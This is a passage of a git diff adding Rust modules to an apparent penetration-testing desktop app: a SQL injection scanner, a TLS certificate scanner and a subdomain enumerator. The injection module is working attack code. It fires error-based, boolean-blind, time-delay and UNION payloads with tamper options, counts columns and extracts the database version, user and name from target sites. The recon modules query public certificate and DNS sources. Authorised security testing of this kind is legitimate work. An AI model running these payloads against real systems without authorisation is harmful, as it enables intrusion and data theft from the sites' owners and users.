builder = client.request(method, url.as_str()); + for (k, v) in &headers { + if k.trim().is_empty() { continue; } + builder = builder.header(k.trim(), v); + } + if let Some(ck) = &cookies { builder = builder.header("Cookie", ck); } + if let Some(b) = &body { + if target.body_is_json { + builder = builder.header("Content-Type", "application/json").body(b.clone()); + } else { + builder = builder.header("Content-Type", "application/x-www-form-urlencoded").body(b.clone()); + } + } + let resp = builder.send().await.ok()?; + let status = resp.status().as_u16(); + let text = resp.text().await.unwrap_or_default(); + let elapsed = start.elapsed().as_millis(); + Some((text, status, elapsed)) +} + +// --- content similarity ------------------------------------------- + +fn content_hash(s: &str) -> u64 { + // crude content signature: sorted tokens + use std::collections::hash_map::DefaultHasher; + use std::hash::{Hash, Hasher}; + let mut hasher = DefaultHasher::new(); + let mut tokens: Vec<&str> = s.split_whitespace().collect(); + tokens.sort_unstable(); + tokens.hash(&mut hasher); + hasher.finish() +} + +fn similarity(a: &str, b: &str) -> f64 { + if a == b { return 1.0; } + if a.is_empty() && b.is_empty() { return 1.0; } + let al = a.len() as f64; + let bl = b.len() as f64; + let len_sim = al.min(bl) / al.max(bl); + let hash_sim = if content_hash(a) == content_hash(b) { 1.0 } else { 0.0 }; + // weighted + 0.6 * len_sim + 0.4 * hash_sim +} + +// ------------------------------------------------------------------ +// Detection techniques +// ------------------------------------------------------------------ + +async fn heuristic_probe( + client: &reqwest::Client, target: &Target, point: &InjectionPoint, +) -> (bool, Option<&'static str>) { + // Append quote/bracket and look for DBMS error OR significant response change + let probes = ["'", "\"", "\\", "')", "\")"]; + for p in probes { + let val = format!("{}{}", point.base_value, p); + if let Some((body, _, _)) = send(client, target, point, &val).await { + if let Some(db) = detect_dbms(&body) { return (true, Some(db)); } + } + } + (false, None) +} + +async fn test_error_based( + client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String], +) -> Option<(String, String, String, String, &'static str)> { + // returns (prefix, suffix, payload, evidence, dbms) + let breakers = ["'", "\"", "')", "\")", "`"]; + for b in breakers { + for &payload in &["", "AND 1=CAST(@@version AS int)", "AND 1=CONVERT(int, @@version)", "AND extractvalue(1,concat(0x7e,version(),0x7e))"] { + let full = apply_tamper(&format!("{}{}{} -- -", b, if payload.is_empty() {""} else {" "}, payload), tamper); + let val = format!("{}{}", point.base_value, full); + if let Some((body, _, _)) = send(client, target, point, &val).await { + if let Some(db) = detect_dbms(&body) { + return Some((b.to_string(), "-- -".to_string(), payload.to_string(), format!("{db} error triggered"), db)); + } + } + } + if level < 2 { break; } + } + None +} + +async fn test_boolean_blind( + client: &reqwest::Client, target: &Target, point: &InjectionPoint, baseline: &str, level: u8, tamper: &[String], +) -> Option<(String, String, String, String)> { + let boundaries = boundaries(level); + for (prefix, suffix) in boundaries.iter() { + let t_payload = apply_tamper(&format!("{}{} AND 1=1{}", point.base_value, prefix, suffix), tamper); + let f_payload = apply_tamper(&format!("{}{} AND 1=2{}", point.base_value, prefix, suffix), tamper); + let t_resp = send(client, target, point, &t_payload).await; + let f_resp = send(client, target, point, &f_payload).await; + if let (Some((tb, _, _)), Some((fb, _, _))) = (t_resp, f_resp) { + let sim_t_base = similarity(baseline, &tb); + let sim_f_base = similarity(baseline, &fb); + // TRUE should resemble baseline; FALSE should diverge + if sim_t_base > 0.9 && sim_f_base < 0.8 && (sim_t_base - sim_f_base) > 0.1 { + return Some(( + prefix.to_string(), + suffix.to_string(), + "AND 1=1 / AND 1=2".to_string(), + format!("true-sim={:.2} false-sim={:.2} (divergence detected)", sim_t_base, sim_f_base), + )); + } + } + } + None +} + +async fn test_time_based( + client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String], +) -> Option<(String, String, String, String, &'static str)> { + let cases: &[(&str, &str, u64)] = &[ + ("MySQL", "AND SLEEP(5)", 5), + ("MySQL", "AND (SELECT 1 FROM (SELECT SLEEP(5))a)", 5), + ("PostgreSQL", "; SELECT pg_sleep(5)", 5), + ("MSSQL", "; WAITFOR DELAY '0:0:5'", 5), + ("Oracle", "AND DBMS_PIPE.RECEIVE_MESSAGE('x',5) IS NOT NULL", 5), + ("SQLite", "AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))", 5), + ]; + for (prefix, _suffix) in boundaries(level).iter() { + for (db, payload, sec) in cases.iter() { + let full = apply_tamper(&format!("{}{} {}-- -", point.base_value, prefix, payload), tamper); + if let Some((_, _, elapsed)) = send(client, target, point, &full).await { + let threshold_ms = (sec * 1000 - 500) as u128; + if elapsed >= threshold_ms { + return Some(( + prefix.to_string(), + "-- -".to_string(), + payload.to_string(), + format!("response delayed {}ms (payload sleeps {}s)", elapsed, sec), + db, + )); + } + } + } + } + None +} + +async fn test_union_based( + client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String], +) -> Option<(String, String, String, String, Option<&'static str>, HashMap)> { + let marker = format!("xpl{:04}mrk", rand::random::()); + // Step 1: find column count via ORDER BY + let mut cols: usize = 0; + for (prefix, _suffix) in boundaries(level).iter() { + let mut last_ok: usize = 0; + for n in 1..=20 { + let full = apply_tamper(&format!("{}{} ORDER BY {}-- -", point.base_value, prefix, n), tamper); + if let Some((body, _, _)) = send(client, target, point, &full).await { + let err = detect_dbms(&body).is_some() + || body.to_lowercase().contains("unknown column") + || body.to_lowercase().contains("order by"); + if err { break; } else { last_ok = n; } + } else { break; } + } + if last_ok > 0 { + cols = last_ok; + // Step 2: craft UNION SELECT with NULLs, replace one at a time with marker + for position in 1..=cols { + let mut fields: Vec = (1..=cols).map(|i| if i == position { + format!("'{}'", marker) + } else { "NULL".to_string() }).collect(); + let full = apply_tamper(&format!("{}{} UNION SELECT {}-- -", + point.base_value, prefix, fields.join(",")), tamper); + if let Some((body, _, _)) = send(client, target, point, &full).await { + if body.contains(&marker) { + // injectable column found — try extracting data + let mut extracted: HashMap = HashMap::new(); + let probes = [ + ("version", "version()"), + ("user", "current_user()"), + ("db", "database()"), + ]; + for (name, expr) in probes { + fields[position - 1] = format!("CONCAT('{m}_',{e},'_{m}')", m=marker, e=expr); + let ep = apply_tamper(&format!("{}{} UNION SELECT {}-- -", + point.base_value, prefix, fields.join(",")), tamper); + if let Some((b, _, _)) = send(client, target, point, &ep).await { + let re = Regex::new(&format!("{}_([^_]+)_{}", marker, marker)).unwrap(); + if let Some(c) = re.captures(&b).and_then(|c| c.get(1)) { + extracted.insert(name.into(), c.as_str().to_string()); + } + } + fields[position - 1] = format!("'{}'", marker); + } + let dbms: Option<&'static str> = extracted.get("version").and_then(|v| { + let lo = v.to_lowercase(); + if lo.contains("mariadb") || lo.contains("mysql") { Some("MySQL") } + else if lo.contains("postgresql") { Some("PostgreSQL") } + else if lo.contains("microsoft sql") { Some("MSSQL") } + else { None } + }); + return Some(( + prefix.to_string(), + "-- -".to_string(), + format!("UNION SELECT {}", fields.join(",")), + format!("union injection at column {position}/{cols}, marker reflected"), + dbms, + extracted, + )); + } + } + } + break; + } + } + let _ = cols; + None +} + +// ------------------------------------------------------------------ +// Orchestrator +// ------------------------------------------------------------------ + +#[tauri::command] +pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result, String> { + let url = Url::parse(&req.url).map_err(|e| e.to_string())?; + + let body_is_json = req.headers.iter().any(|(k, v)| + k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json")); + + let target = Target { + url, + method: req.method.clone(), + body: req.body.clone(), + body_is_json, + headers: req.headers.clone(), + cookies: req.cookies.clone(), + }; + + let client = reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(req.timeout_ms)) + .redirect(if req.follow_redirects { + reqwest::redirect::Policy::limited(5) + } else { reqwest::redirect::Policy::none() }) + .cookie_store(false) + .user_agent("Mozilla/5.0 (PocketPentester-SQLi)") + .build() + .map_err(|e| e.to_string())?; + + let points = find_injection_points(&req, &target); + if points.is_empty() { + return Err("no injection points detected — supply params, use * marker, or pass params filter".into()); + } + + let _ = app.emit("sqli:status", format!("{} injection point(s) to test", points.len())); + + // baseline with original values + let first = points.first().unwrap(); + let baseline = send(&client, &target, first, &first.base_value).await + .map(|(b, _, _)| b).unwrap_or_default(); + + let _sem = Arc::new(Semaphore::new(req.concurrency.max(1))); + let mut findings: Vec = Vec::new(); + + for point in &points { + let _ = app.emit("sqli:status", + format!("→ testing {} [{}] (base={})", point.location, point.name, + if point.base_value.len() > 30 { format!("{}...", &point.base_value[..30]) } else { point.base_value.clone() })); + + let mut dbms_hint: Option<&'static str> = None; + + // heuristic + if req.techniques.iter().any(|t| t == "heuristic") { + let (flag, db) = heuristic_probe(&client, &target, point).await; + if flag { + dbms_hint = db; + let _ = app.emit("sqli:status", format!(" heuristic positive{}", db.map(|d| format!(" ({d})")).unwrap_or_default())); + } else { + let _ = app.emit("sqli:status", " heuristic negative, continuing anyway"); + } + } + + // error-based + if req.techniques.iter().any(|t| t == "error") { + if let Some((pre, suf, payload, evidence, db)) = + test_error_based(&client, &target, point, req.level, &req.tamper).await + { + let f = SqliFinding { + param: point.name.clone(), location: point.location.clone(), + technique: "error-based".into(), + dbms: Some(db.to_string()), + prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(), + full_payload: format!("{}{}{} {}", point.base_value, pre, payload, suf), + evidence, confidence: "HIGH".into(), extracted: HashMap::new(), + }; + let _ = app.emit("sqli:hit", f.clone()); + findings.push(f); + if req.stop_on_first { return Ok(findings); } + } + } + + // boolean-based + if req.techniques.iter().any(|t| t == "boolean") { + if let Some((pre, suf, payload, evidence)) = + test_boolean_blind(&client, &target, point, &baseline, req.level, &req.tamper).await + { + let f = SqliFinding { + param: point.name.clone(), location: point.location.clone(), + technique: "boolean-blind".into(), + dbms: dbms_hint.map(|s| s.to_string()), + prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(), + full_payload: format!("{}{} AND 1=1{}", point.base_value, pre, suf), + evidence, confidence: "MEDIUM".into(), extracted: HashMap::new(), + }; + let _ = app.emit("sqli:hit", f.clone()); + findings.push(f); + if req.stop_on_first { return Ok(findings); } + } + } + + // union-based + if req.techniques.iter().any(|t| t == "union") { + if let Some((pre, suf, payload, evidence, db, extracted)) = + test_union_based(&client, &target, point, req.level, &req.tamper).await + { + let f = SqliFinding { + param: point.name.clone(), location: point.location.clone(), + technique: "union-based".into(), + dbms: db.map(|s| s.to_string()).or(dbms_hint.map(|s| s.to_string())), + prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(), + full_payload: format!("{}{} {} {}", point.base_value, pre, payload, suf), + evidence, confidence: "HIGH".into(), extracted, + }; + let _ = app.emit("sqli:hit", f.clone()); + findings.push(f); + if req.stop_on_first { return Ok(findings); } + } + } + + // time-based (expensive, last) + if req.techniques.iter().any(|t| t == "time") && req.risk >= 1 { + if let Some((pre, suf, payload, evidence, db)) = + test_time_based(&client, &target, point, req.level, &req.tamper).await + { + let f = SqliFinding { + param: point.name.clone(), location: point.location.clone(), + technique: "time-blind".into(), + dbms: Some(db.to_string()), + prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(), + full_payload: format!("{}{} {}{}", point.base_value, pre, payload, suf), + evidence, confidence: "HIGH".into(), extracted: HashMap::new(), + }; + let _ = app.emit("sqli:hit", f.clone()); + findings.push(f); + if req.stop_on_first { return Ok(findings); } + } + } + } + + let _ = app.emit("sqli:done", findings.len()); + Ok(findings) +} diff --git a/src-tauri/src/modules/ssl_scan.rs b/src-tauri/src/modules/ssl_scan.rs new file mode 100644 index 0000000..11a8ca6 --- /dev/null +++ b/src-tauri/src/modules/ssl_scan.rs @@ -0,0 +1,276 @@ +// =================================================================== +// SSL/TLS Scanner — cert chain inspection + negotiation test. +// +// Uses rustls with a capturing verifier to extract peer cert chain +// even when the cert is invalid/expired/self-signed. Parses cert via +// x509-parser for SAN / issuer / validity extraction. +// =================================================================== + +use std::net::SocketAddr; +use std::sync::Arc; +use std::time::{Duration, SystemTime, UNIX_EPOCH}; + +use rustls_pki_types::{CertificateDer, ServerName}; +use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; +use tokio::net::TcpStream; +use tokio::time::timeout; +use tokio_rustls::TlsConnector; + +#[derive(Debug, Clone, Deserialize)] +pub struct SslScanRequest { + pub host: String, + #[serde(default = "default_port")] + pub port: u16, + #[serde(default = "default_timeout")] + pub timeout_ms: u64, +} + +fn default_port() -> u16 { 443 } +fn default_timeout() -> u64 { 8000 } + +#[derive(Debug, Clone, Serialize)] +pub struct SslCertInfo { + pub subject: String, + pub issuer: String, + pub serial: String, + pub not_before: String, + pub not_after: String, + pub days_remaining: i64, + pub sans: Vec, + pub key_algo: String, + pub signature_algo: String, + pub sha256_fingerprint: String, + pub is_ca: bool, + pub self_signed: bool, + pub expired: bool, +} + +#[derive(Debug, Clone, Serialize)] +pub struct SslScanReport { + pub host: String, + pub port: u16, + pub tls_version: String, + pub cipher_suite: Option, + pub sni_presented: String, + pub cert_chain: Vec, + pub chain_valid: bool, + pub issues: Vec, + pub alpn: Option, +} + +// ---- capturing verifier: accept everything, remember the cert chain ---- + +#[derive(Debug)] +struct CaptureVerifier { + captured: Arc>>>, +} + +impl rustls::client::danger::ServerCertVerifier for CaptureVerifier { + fn verify_server_cert( + &self, + end_entity: &CertificateDer<'_>, + intermediates: &[CertificateDer<'_>], + _server_name: &ServerName<'_>, + _ocsp_response: &[u8], + _now: rustls_pki_types::UnixTime, + ) -> Result { + let mut guard = self.captured.lock().unwrap(); + guard.push(end_entity.as_ref().to_vec()); + for it in intermediates { guard.push(it.as_ref().to_vec()); } + Ok(rustls::client::danger::ServerCertVerified::assertion()) + } + fn verify_tls12_signature( + &self, _message: &[u8], _cert: &CertificateDer<'_>, _dss: &rustls::DigitallySignedStruct, + ) -> Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + fn verify_tls13_signature( + &self, _message: &[u8], _cert: &CertificateDer<'_>, _dss: &rustls::DigitallySignedStruct, + ) -> Result { + Ok(rustls::client::danger::HandshakeSignatureValid::assertion()) + } + fn supported_verify_schemes(&self) -> Vec { + vec![ + rustls::SignatureScheme::RSA_PKCS1_SHA256, + rustls::SignatureScheme::RSA_PKCS1_SHA384, + rustls::SignatureScheme::RSA_PKCS1_SHA512, + rustls::SignatureScheme::ECDSA_NISTP256_SHA256, + rustls::SignatureScheme::ECDSA_NISTP384_SHA384, + rustls::SignatureScheme::ECDSA_NISTP521_SHA512, + rustls::SignatureScheme::RSA_PSS_SHA256, + rustls::SignatureScheme::RSA_PSS_SHA384, + rustls::SignatureScheme::RSA_PSS_SHA512, + rustls::SignatureScheme::ED25519, + ] + } +} + +fn parse_cert(der: &[u8]) -> Result { + use x509_parser::prelude::*; + let (_, cert) = X509Certificate::from_der(der).map_err(|e| e.to_string())?; + + let subject = cert.subject().to_string(); + let issuer = cert.issuer().to_string(); + let serial = format!("{:x}", cert.serial); + let not_before = cert.validity.not_before.to_rfc2822().unwrap_or_default(); + let not_after = cert.validity.not_after.to_rfc2822().unwrap_or_default(); + + let now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as i64; + let nb = cert.validity.not_after.timestamp(); + let days_remaining = (nb - now) / 86400; + let expired = nb < now; + + let mut sans: Vec = Vec::new(); + for ext in cert.extensions() { + if let ParsedExtension::SubjectAlternativeName(san) = ext.parsed_extension() { + for n in &san.general_names { + sans.push(format!("{n}")); + } + } + } + + let key_algo = cert.public_key().algorithm.algorithm.to_id_string(); + let signature_algo = cert.signature_algorithm.algorithm.to_id_string(); + + let self_signed = subject == issuer; + + let is_ca = cert.extensions().iter().any(|e| { + matches!(e.parsed_extension(), ParsedExtension::BasicConstraints(bc) if bc.ca) + }); + + let mut h = Sha256::new(); + h.update(der); + let fp = h.finalize(); + let sha256_fingerprint = fp.iter().map(|b| format!("{:02X}", b)).collect::>().join(":"); + + Ok(SslCertInfo { + subject, issuer, serial, not_before, not_after, days_remaining, + sans, key_algo: map_key_algo(&key_algo), signature_algo: map_sig_algo(&signature_algo), + sha256_fingerprint, is_ca, self_signed, expired, + }) +} + +fn map_key_algo(oid: &str) -> String { + match oid { + "1.2.840.113549.1.1.1" => "RSA".into(), + "1.2.840.10045.2.1" => "ECDSA".into(), + "1.3.101.112" => "Ed25519".into(), + other => other.into(), + } +} +fn map_sig_algo(oid: &str) -> String { + match oid { + "1.2.840.113549.1.1.11" => "SHA256-RSA".into(), + "1.2.840.113549.1.1.12" => "SHA384-RSA".into(), + "1.2.840.113549.1.1.13" => "SHA512-RSA".into(), + "1.2.840.113549.1.1.5" => "SHA1-RSA (WEAK)".into(), + "1.2.840.113549.1.1.4" => "MD5-RSA (BROKEN)".into(), + "1.2.840.10045.4.3.2" => "ECDSA-SHA256".into(), + "1.2.840.10045.4.3.3" => "ECDSA-SHA384".into(), + "1.2.840.10045.4.3.4" => "ECDSA-SHA512".into(), + "1.3.101.112" => "Ed25519".into(), + other => other.into(), + } +} + +#[tauri::command] +pub async fn ssl_scan(req: SslScanRequest) -> Result { + let addr_str = format!("{}:{}", req.host, req.port); + let addr: SocketAddr = tokio::net::lookup_host(&addr_str).await + .map_err(|e| format!("dns: {e}"))? + .next() + .ok_or_else(|| "no address resolved".to_string())?; + + let captured = Arc::new(std::sync::Mutex::new(Vec::new())); + let verifier = Arc::new(CaptureVerifier { captured: captured.clone() }); + + // install default crypto provider (ring) for this thread — idempotent + let _ = rustls::crypto::ring::default_provider().install_default(); + + let config = rustls::ClientConfig::builder() + .dangerous() + .with_custom_certificate_verifier(verifier) + .with_no_client_auth(); + let mut config = config; + config.alpn_protocols = vec![b"h2".to_vec(), b"http/1.1".to_vec()]; + + let connector = TlsConnector::from(Arc::new(config)); + + let tcp = timeout(Duration::from_millis(req.timeout_ms), TcpStream::connect(addr)).await + .map_err(|_| "tcp connect timeout".to_string())? + .map_err(|e| format!("tcp: {e}"))?; + + let server_name: ServerName<'static> = ServerName::try_from(req.host.clone()) + .map_err(|e| format!("invalid server name: {e}"))?; + + let tls = timeout(Duration::from_millis(req.timeout_ms), connector.connect(server_name, tcp)).await + .map_err(|_| "tls handshake timeout".to_string())? + .map_err(|e| format!("tls handshake: {e}"))?; + + let (_, conn) = tls.get_ref(); + let version = match conn.protocol_version() { + Some(rustls::ProtocolVersion::TLSv1_3) => "TLS 1.3".into(), + Some(rustls::ProtocolVersion::TLSv1_2) => "TLS 1.2".into(), + Some(v) => format!("{v:?} (WEAK/LEGACY)"), + None => "unknown".into(), + }; + let cipher_suite = conn.negotiated_cipher_suite().map(|cs| format!("{:?}", cs.suite())); + let alpn = conn.alpn_protocol().map(|a| String::from_utf8_lossy(a).to_string()); + + drop(tls); + + let certs = captured.lock().unwrap().clone(); + if certs.is_empty() { + return Err("no certs captured".into()); + } + + let mut chain: Vec = Vec::new(); + let mut issues: Vec = Vec::new(); + for (i, der) in certs.iter().enumerate() { + match parse_cert(der) { + Ok(info) => { + if info.expired && i == 0 { issues.push("leaf certificate is EXPIRED".into()); } + if info.days_remaining < 14 && !info.expired && i == 0 { + issues.push(format!("leaf cert expires in {} days", info.days_remaining)); + } + if info.self_signed && i == 0 && chain.is_empty() { + issues.push("leaf is self-signed".into()); + } + if info.signature_algo.contains("WEAK") || info.signature_algo.contains("BROKEN") { + issues.push(format!("weak signature algorithm: {}", info.signature_algo)); + } + chain.push(info); + } + Err(e) => issues.push(format!("cert[{i}] parse error: {e}")), + } + } + + if version.contains("LEGACY") || version.contains("1.0") || version.contains("1.1") { + issues.push(format!("weak TLS version negotiated: {version}")); + } + + // SAN must include hostname + if let Some(leaf) = chain.first() { + let host_lc = req.host.to_lowercase(); + let match_ok = leaf.sans.iter().any(|s| { + let s_lc = s.to_lowercase(); + s_lc.contains(&host_lc) || s_lc.starts_with("dns:*.") && host_lc.ends_with(&s_lc.trim_start_matches("dns:*").to_string()) + }); + if !match_ok && !leaf.sans.is_empty() { + issues.push(format!("hostname {} not in SANs", req.host)); + } + } + + Ok(SslScanReport { + host: req.host.clone(), + port: req.port, + tls_version: version, + cipher_suite, + sni_presented: req.host, + cert_chain: chain, + chain_valid: issues.is_empty(), + issues, + alpn, + }) +} diff --git a/src-tauri/src/modules/subdomain.rs b/src-tauri/src/modules/subdomain.rs new file mode 100644 index 0000000..0413900 --- /dev/null +++ b/src-tauri/src/modules/subdomain.rs @@ -0,0 +1,504 @@ +// =================================================================== +// Subdomain enumeration — subfinder-style multi-source aggregator. +// +// Sources (default-on, no API key needed): +// - crt.sh — certificate transparency +// - certspotter — certificate transparency (parallel) +// - hackertarget — passive DNS (rate-limited 50/day per IP) +// - alienvault OTX — passive DNS +// - anubis-db — community subdomain DB +// - rapiddns — HTML scrape +// - wayback (web.archive.org)— historical URLs → extract hosts +// - urlscan — domain search +// - threatcrowd — passive DNS +// +// Key-based sources (opt-in, user supplies API key): +// - c99.nl — fast commercial source +// - virustotal — domain relations +// - securitytrails — premium passive +// - chaos (projectdiscovery)— curated dataset +// - shodan — host search +// - binaryedge — passive DNS +// - fullhunt — attack-surface DB +// =================================================================== + +use std::collections::{HashMap, HashSet}; +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use hickory_resolver::config::{ResolverConfig, ResolverOpts}; +use hickory_resolver::TokioAsyncResolver; +use regex::Regex; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::Semaphore; + +#[derive(Debug, Clone, Deserialize)] +pub struct SubdomainRequest { + pub domain: String, + /// Source names to enable. If None/empty, all default-on sources run. + /// Available: crtsh, certspotter, hackertarget, alienvault, anubis, + /// rapiddns, wayback, urlscan, threatcrowd, c99, virustotal, + /// securitytrails, chaos, shodan, binaryedge, fullhunt. + #[serde(default)] + pub sources: Option>, + + /// Optional brute-force wordlist (in addition to passive). + #[serde(default)] + pub wordlist: Option>, + + pub concurrency: usize, + + /// API keys for key-based sources. Map of source-name → key. + #[serde(default)] + pub api_keys: Option>, +} + +#[derive(Debug, Clone, Serialize)] +pub struct SubdomainHit { + pub host: String, + pub source: String, + pub ips: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct SourceStat { + pub source: String, + pub count: usize, + pub error: Option, + pub took_ms: u128, +} + +// ------------------------------------------------------------------ +// HTTP client +// ------------------------------------------------------------------ + +fn build_client() -> reqwest::Client { + reqwest::Client::builder() + .timeout(Duration::from_secs(25)) + .user_agent("Mozilla/5.0 (PocketPentester/0.1)") + .build() + .unwrap_or_else(|_| reqwest::Client::new()) +} + +fn norm_host(s: &str, root: &str) -> Option { + let h = s.trim() + .trim_start_matches("*.") + .trim_start_matches('.') + .to_lowercase(); + let h = h.split_whitespace().next()?.to_string(); + if h.is_empty() { return None; } + if !h.ends_with(root) { return None; } + if h.contains('@') { return None; } + if h.starts_with("xn--") && h.len() < 6 { return None; } + Some(h) +} + +// ------------------------------------------------------------------ +// passive sources (no key) +// ------------------------------------------------------------------ + +async fn fetch_json(client: &reqwest::Client, url: &str) -> anyhow::Result { + fetch_json_with_headers(client, url, &[]).await +} + +async fn fetch_json_with_headers( + client: &reqwest::Client, + url: &str, + headers: &[(&str, &str)], +) -> anyhow::Result { + let mut req = client.get(url); + for (k, v) in headers { req = req.header(*k, *v); } + let resp = req.send().await?; + let status = resp.status(); + let body = resp.text().await?; + if !status.is_success() { + anyhow::bail!("HTTP {} (body: {})", status, body.chars().take(120).collect::()); + } + if body.trim().is_empty() { + anyhow::bail!("empty response"); + } + serde_json::from_str(&body).map_err(|e| anyhow::anyhow!("json parse: {e}")) +} + +fn values_from_array<'a>(v: &'a serde_json::Value, key: &str) -> &'a [serde_json::Value] { + v.get(key).and_then(|x| x.as_array()).map(|a| a.as_slice()).unwrap_or(&[]) +} + +async fn src_crtsh(client: &reqwest::Client, domain: &str) -> anyhow::Result> { + let url = format!("https://crt.sh/?q=%25.{}&output=json", domain); + let val = fetch_json(client, &url).await?; + let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]); + let mut set = HashSet::new(); + for r in arr { + if let Some(nv) = r.get("name_value").and_then(|v| v.as_str()) { + for line in nv.split('\n') { + if let Some(h) = norm_host(line, domain) { set.insert(h); } + } + } + } + Ok(set) +} + +async fn src_certspotter(client: &reqwest::Client, domain: &str) -> anyhow::Result> { + let url = format!("https://api.certspotter.com/v1/issuances?domain={}&include_subdomains=true&expand=dns_names", domain); + let val = fetch_json(client, &url).await?; + let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]); + let mut set = HashSet::new(); + for r in arr { + for n in values_from_array(r, "dns_names") { + if let Some(s) = n.as_str() { + if let Some(h) = norm_host(s, domain) { set.insert(h); } + } + } + } + Ok(set) +} + +async fn src_hackertarget(client: &reqwest::Client, domain: &str) -> anyhow::Result> { + let url = format!("https://api.hackertarget.com/hostsearch/?q={}", domain); + let resp = client.get(&url).send().await?; + let status = resp.status(); + let body = resp.text().await?; + if !status.is_success() { anyhow::bail!("HTTP {status}"); } + if body.contains("API count exceeded") || body.contains("error check your search parameter") { + anyhow::bail!("rate limited"); + } + let mut set = HashSet::new(); + for line in body.lines() { + if let Some((host, _)) = line.split_once(',') { + if let Some(h) = norm_host(host, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_alienvault(client: &reqwest::Client, domain: &str) -> anyhow::Result> { + let url = format!("https://otx.alienvault.com/api/v1/indicators/domain/{}/passive_dns", domain); + let val = fetch_json(client, &url).await?; + let mut set = HashSet::new(); + for entry in values_from_array(&val, "passive_dns") { + if let Some(host) = entry.get("hostname").and_then(|v| v.as_str()) { + if let Some(h) = norm_host(host, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_anubis(client: &reqwest::Client, domain: &str) -> anyhow::Result> { + let url = format!("https://jonlu.ca/anubis/subdomains/{}", domain); + let val = fetch_json(client, &url).await?; + let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]); + let mut set = HashSet::new(); + for s in arr { + if let Some(host) = s.as_str() { + if let Some(h) = norm_host(host, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_rapiddns(client: &reqwest::Client, domain: &str) -> anyhow::Result> { + let url = format!("https://rapiddns.io/subdomain/{}?full=1", domain); + let resp = client.get(&url).send().await?; + let status = resp.status(); + let html = resp.text().await?; + if !status.is_success() { anyhow::bail!("HTTP {status}"); } + let re = Regex::new(r#"([a-zA-Z0-9_.\-]+\.[a-zA-Z]{2,})"#)?; + let mut set = HashSet::new(); + for cap in re.captures_iter(&html) { + if let Some(m) = cap.get(1) { + if let Some(h) = norm_host(m.as_str(), domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_wayback(client: &reqwest::Client, domain: &str) -> anyhow::Result> { + let url = format!("http://web.archive.org/cdx/search/cdx?url=*.{}&output=json&fl=original&collapse=urlkey&limit=10000", domain); + let val = fetch_json(client, &url).await?; + let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]); + let mut set = HashSet::new(); + for (i, row) in arr.iter().enumerate() { + if i == 0 { continue; } // header row + if let Some(u) = row.as_array().and_then(|r| r.first()).and_then(|v| v.as_str()) { + if let Some(host) = url::Url::parse(u).ok().and_then(|p| p.host_str().map(String::from)) { + if let Some(h) = norm_host(&host, domain) { set.insert(h); } + } + } + } + Ok(set) +} + +async fn src_urlscan(client: &reqwest::Client, domain: &str) -> anyhow::Result> { + let url = format!("https://urlscan.io/api/v1/search/?q=domain:{}&size=10000", domain); + let val = fetch_json(client, &url).await?; + let mut set = HashSet::new(); + for r in values_from_array(&val, "results") { + if let Some(d) = r.get("page").and_then(|p| p.get("domain")).and_then(|v| v.as_str()) { + if let Some(h) = norm_host(d, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_threatcrowd(client: &reqwest::Client, domain: &str) -> anyhow::Result> { + let url = format!("https://www.threatcrowd.org/searchApi/v2/domain/report/?domain={}", domain); + let val = fetch_json(client, &url).await?; + let mut set = HashSet::new(); + for s in values_from_array(&val, "subdomains") { + if let Some(host) = s.as_str() { + if let Some(h) = norm_host(host, domain) { set.insert(h); } + } + } + Ok(set) +} + +// ------------------------------------------------------------------ +// key-based sources +// ------------------------------------------------------------------ + +async fn src_c99(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result> { + let url = format!("https://api.c99.nl/subdomainfinder?key={key}&domain={domain}&json"); + let val = fetch_json(client, &url).await?; + if let Some(e) = val.get("error").and_then(|v| v.as_str()) { anyhow::bail!("{e}"); } + let mut set = HashSet::new(); + for r in values_from_array(&val, "subdomains") { + if let Some(s) = r.get("subdomain").and_then(|v| v.as_str()) { + if let Some(h) = norm_host(s, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_virustotal(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result> { + let url = format!("https://www.virustotal.com/api/v3/domains/{}/subdomains?limit=40", domain); + let val = fetch_json_with_headers(client, &url, &[("x-apikey", key)]).await?; + let mut set = HashSet::new(); + for r in values_from_array(&val, "data") { + if let Some(id) = r.get("id").and_then(|v| v.as_str()) { + if let Some(h) = norm_host(id, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_securitytrails(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result> { + let url = format!("https://api.securitytrails.com/v1/domain/{}/subdomains?children_only=false", domain); + let val = fetch_json_with_headers(client, &url, &[("APIKEY", key)]).await?; + let mut set = HashSet::new(); + for s in values_from_array(&val, "subdomains") { + if let Some(sub) = s.as_str() { + let full = format!("{}.{}", sub, domain); + if let Some(h) = norm_host(&full, domain) { set.insert(h); } + } + } + Ok(set) +} + +async fn src_chaos(client: &reqwest::Client, domain: &str, key: &str) -> anyhow::Result> { + let url = format!("https://dns.projectdiscovery.io/dns/{}/subdomains", domain); + let val = fetch_json_with_headers(client, &url, 